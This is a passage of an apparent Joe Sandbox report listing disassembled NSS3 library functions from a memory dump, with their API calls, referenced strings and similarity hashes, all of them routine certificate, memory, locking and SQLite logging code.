Part of subcall function 6C7F25D0: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7F26C2
Part of subcall function 6C7F25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C7F26E0
Part of subcall function 6C7F25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C7F26F4
Part of subcall function 6C7F25D0: PR_Unlock.NSS3(?), ref: 6C7F274D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: UtilValue$CriticalEnterSectionUnlock$AlgorithmAlloc_Arena_DecodeDigestErrorFreeInfoTag_freemalloc
String ID:
API String ID: 2025608128-0
Opcode ID: e6568779cbf957233e591249c3256fda4bb9636086c9489d8dcbd0b9e2de405c
Instruction ID: 0eeef8c4aa9ba06dc66b707cdef60bd264b1ea2570c84fa976e369528a15ec1c
Opcode Fuzzy Hash: e6568779cbf957233e591249c3256fda4bb9636086c9489d8dcbd0b9e2de405c
Instruction Fuzzy Hash: A4316FB5A0121A9FDB10CFA8D985ABE77F4AF49348F100038ED15E7700E731DA14CBA2

Function 6C7C2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C7B2D1A), ref: 6C7C2E7E

Part of subcall function 6C8107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7B8298,?,?,?,6C7AFCE5,?), ref: 6C8107BF
Part of subcall function 6C8107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8107E6
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C81081B
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C810825

PR_Now.NSS3 ref: 6C7C2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C7C2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C7B2D1A), ref: 6C7C2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C7B2D1A), ref: 6C7C2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C7C2F81

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 95a04be52e65a393bba86ccfaa312b1df45193e0aae46494a418a7862bc0737d
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: F931457170110A8FF710C615CE4CFAE7269EF80318F241979D02997AD0EB319986C623

Function 6C7B0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C7B0A2C), ref: 6C7B0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C7B0A2C), ref: 6C7B0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C7B0A2C), ref: 6C7B0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C7B0A2C), ref: 6C7B0E90
free.MOZGLUE(00000000), ref: 6C7B0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C7B0A2C), ref: 6C7B0ED9

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b857d76f1d579dbcdc6530321e2e443c5c7d96f9bcfe6c74931b4638e9603c36
Instruction ID: c06b73d5d55f8e401ed664dc856f8101708da42d242e760f4d5ae52c506c28cf
Opcode Fuzzy Hash: b857d76f1d579dbcdc6530321e2e443c5c7d96f9bcfe6c74931b4638e9603c36
Instruction Fuzzy Hash: 9D216EF2F002854BEB106D799F45B6B72AEDBC1708F194435F81877A12EB70C81482A2

Function 6C7BAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7BAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C7BAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7BAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C7BAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C8D9500), ref: 6C7BAF23

Part of subcall function 6C80F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C80F0C8
Part of subcall function 6C80F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C80F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7BAF37

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: a616acf50e039cba2d06229976ee21a6511419b56d15c3193ca50b878fc71919
Instruction ID: e8ab52d153ca362a7e5c5dea0ec6cfb6dbd892dfbde60d93938dc607263fa689
Opcode Fuzzy Hash: a616acf50e039cba2d06229976ee21a6511419b56d15c3193ca50b878fc71919
Instruction Fuzzy Hash: 00214C729092009BEB209E188E01B9A77E4AF8573CF144729FC54AB7C1E731D50887A7

Function 6C83EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C83EE85
realloc.MOZGLUE(0FAB1C26,?), ref: 6C83EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C83EEC5

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

htonl.WSOCK32(?), ref: 6C83EEE3
htonl.WSOCK32(00000000,?), ref: 6C83EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C83EF01

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: f98978c32be75ba342c1d817cea24fa7b796ec6477656c960d5fd91148c693f4
Instruction ID: 9d6d97e4af165d6f8de37627ff5e4ed0a0fc128c364cbc9f6a4dc111437917b0
Opcode Fuzzy Hash: f98978c32be75ba342c1d817cea24fa7b796ec6477656c960d5fd91148c693f4
Instruction Fuzzy Hash: B921E531A002249FCF209F68DD80B9A77A4EF49758F159579EC1D9B681E330EC14CBE2

Function 6C812550 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 6C812576
PORT_Alloc_Util.NSS3(00000000), ref: 6C812585

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 6C8125A1
_waccess.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 6C8125AF
free.MOZGLUE(00000000), ref: 6C8125BB
free.MOZGLUE(00000000), ref: 6C8125CA

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ByteCharMultiWidefree$Alloc_UtilValue_waccessmalloc
String ID:
API String ID: 3520324648-0
Opcode ID: e0e8d2b37696b1e20d754e101c1fd446ed1d7f5a35cf6a15bec3146197efed92
Instruction ID: 536b0b33df6eb9c3e32933c1f8f9f8d04ad7e98b356d24e8eed5af039218cb6c
Opcode Fuzzy Hash: e0e8d2b37696b1e20d754e101c1fd446ed1d7f5a35cf6a15bec3146197efed92
Instruction Fuzzy Hash: D001F5B170D2163BFF202B799D5DE7735DCDB426A5B200A38BC19C5A82EA64CD5086F2

Function 6C8C86C0 Relevance: 9.1, APIs: 6, Instructions: 54threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C8C86DE

Part of subcall function 6C7A0F00: PR_GetPageSize.NSS3(6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F1B
Part of subcall function 6C7A0F00: PR_NewLogModule.NSS3(clock,6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F25

PR_Lock.NSS3 ref: 6C8C8700

Part of subcall function 6C879BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C7A1A48), ref: 6C879BB3
Part of subcall function 6C879BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C7A1A48), ref: 6C879BC8

getprotobyname.WSOCK32(?), ref: 6C8C8709
GetLastError.KERNEL32(?), ref: 6C8C8717
PR_GetCurrentThread.NSS3(?,?), ref: 6C8C871F
PR_Unlock.NSS3(?,?), ref: 6C8C873A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobyname
String ID:
API String ID: 2388724134-0
Opcode ID: 9fb3964424bf61458c4b0cf9a30970151448460c476700efa483352eb77aa90d
Instruction ID: 9d8eb63069102aea82999ce330d5f495edd5bd5eb24f07236befa3a020d3bf5d
Opcode Fuzzy Hash: 9fb3964424bf61458c4b0cf9a30970151448460c476700efa483352eb77aa90d
Instruction Fuzzy Hash: A1110272B14120ABCB209FB99A0458A3664EB46368F150776EC0957BA1E730CC24CBD6

Function 6C79C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C79C4F0
free.MOZGLUE ref: 6C79C51A
TlsSetValue.KERNEL32 ref: 6C79C540
free.MOZGLUE ref: 6C79C557
DeleteCriticalSection.KERNEL32 ref: 6C79C56A
free.MOZGLUE ref: 6C79C576

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: 067612ca3a6e8f173cca1c6edb03528d96b644f0be4722d9ad7a43dd86e678b8
Instruction ID: 785d9239c004c6fee20bea4002d63bc52eaf469767e3328eac849f895aa95ba1
Opcode Fuzzy Hash: 067612ca3a6e8f173cca1c6edb03528d96b644f0be4722d9ad7a43dd86e678b8
Instruction Fuzzy Hash: 45110774A08B008BDB11BF79D14916ABBF4FF45749F150A2DD8DA87A00EB309598CB92

Function 6C7BE520 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000,?,?,6C7C7F5D,00000000,00000000,?,?,?,6C7C80DD), ref: 6C7BE532

Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C8790AB
Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C8790C9
Part of subcall function 6C879090: EnterCriticalSection.KERNEL32 ref: 6C8790E5
Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C879116
Part of subcall function 6C879090: LeaveCriticalSection.KERNEL32 ref: 6C87913F

PR_EnterMonitor.NSS3(6C7C80DD), ref: 6C7BE549

Part of subcall function 6C879090: LeaveCriticalSection.KERNEL32 ref: 6C8791AA
Part of subcall function 6C879090: TlsGetValue.KERNEL32 ref: 6C879212
Part of subcall function 6C879090: _PR_MD_WAIT_CV.NSS3 ref: 6C87926B

PR_ExitMonitor.NSS3 ref: 6C7BE56D
PL_HashTableDestroy.NSS3 ref: 6C7BE57B

Part of subcall function 6C7BE190: PR_EnterMonitor.NSS3(?,?,6C7BE175), ref: 6C7BE19C
Part of subcall function 6C7BE190: PR_EnterMonitor.NSS3(6C7BE175), ref: 6C7BE1AA
Part of subcall function 6C7BE190: PR_ExitMonitor.NSS3 ref: 6C7BE208
Part of subcall function 6C7BE190: PL_HashTableRemove.NSS3(?), ref: 6C7BE219
Part of subcall function 6C7BE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7BE231
Part of subcall function 6C7BE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7BE249
Part of subcall function 6C7BE190: PR_ExitMonitor.NSS3 ref: 6C7BE257

PR_ExitMonitor.NSS3(6C7C80DD), ref: 6C7BE5B5
PR_DestroyMonitor.NSS3 ref: 6C7BE5C3

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Monitor$Enter$ExitValue$CriticalSection$Arena_DestroyFreeHashLeaveTableUtil$Remove
String ID:
API String ID: 3740585915-0
Opcode ID: 652c4a86923f9316acefcd9b4122e4071fb17e1a442b45e8b3431c4956bc5681
Instruction ID: 03f4fb92d3534088cb1fda4009b590e5ae9f12b9b31c92ba55b4b7565c9ffafa
Opcode Fuzzy Hash: 652c4a86923f9316acefcd9b4122e4071fb17e1a442b45e8b3431c4956bc5681
Instruction Fuzzy Hash: C7012DB5E18184DBEF115F2AEE0B6553AB4BB1624CF203136E40991E21FB33D579DB82

Function 6C79AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C79AFDA

Strings

%s at line %d of [%.10s], xrefs: 6C79AFD3
misuse, xrefs: 6C79AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6C79AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C79AFC4

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 5ac70c619ef002a1329bb3d43b1377b492a36223ab434dee96c482356a8ebd12
Instruction ID: 9fbfe95efd63937f47b9cdbb460b48f5e186dab112389417841e70c6c7c901c6
Opcode Fuzzy Hash: 5ac70c619ef002a1329bb3d43b1377b492a36223ab434dee96c482356a8ebd12
Instruction Fuzzy Hash: 87910475F022158FDB14CF29DA55BAAB7F2BF49324F1945A8E865ABB51C330EC01CB60

Function 6C73E6D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 194COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C73E81D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010966,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C73DB91,?,?), ref: 6C73E8E7

Strings

%s at line %d of [%.10s], xrefs: 6C73E8E0
database corruption, xrefs: 6C73E8DB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C73E8C5, 6C73E8D1, 6C73E8F9, 6C73E905, 6C73E911, 6C73E91D, 6C73E929, 6C73E935

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: d42a4b51fc41c552ce34c815691598ac8fb76ecd1ab580b89593e4e7b5980623
Instruction ID: d6d6e5a9ed422e8168017be6604e101cb08d95d124dbd54552e3407c9cd3df78
Opcode Fuzzy Hash: d42a4b51fc41c552ce34c815691598ac8fb76ecd1ab580b89593e4e7b5980623
Instruction Fuzzy Hash: 4871D071D042299FCB14CF9DC680AEEBBF0AB09314F14656AE858B7B43D370AD41CBA1

Function 6C73E4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C73E53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C73E5BC

Strings

%s at line %d of [%.10s], xrefs: 6C73E534, 6C73E5B6
database corruption, xrefs: 6C73E52F, 6C73E5B1
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C73E525, 6C73E596, 6C73E5A7

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 3ac93070350fac7f7109d12a1c2a8a7823c49f8b967116336d91e4fba1bd970b
Instruction ID: e959c1dd2a62ef7885c51ce49ff9b19441f39b1aeeb377edd32c90075d094205
Opcode Fuzzy Hash: 3ac93070350fac7f7109d12a1c2a8a7823c49f8b967116336d91e4fba1bd970b
Instruction Fuzzy Hash: 2F3138316007299BD3218FADCE8096AB7A0EB45724B541D7DE84CA7B82F364ED45C7E0

Function 6C7B6420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6C7B5DEF,?,?,?), ref: 6C7B6456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6C7B5DEF,?,?,?), ref: 6C7B6476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6C7B5DEF,?,?,?), ref: 6C7B64A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6C7B5DEF,?,?,?), ref: 6C7B64C2

Strings

]{l, xrefs: 6C7B6489

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID: ]{l
API String ID: 3886907618-3354669531
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: cdd9c1c6b8334cd55063634126baa962c3ad7f65bf11bd385a015691a04e9789
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: 0C21EBB1A006016BEB645E68DE49B63B6E8AB40308F144938F629D6B41E7B1D758C791

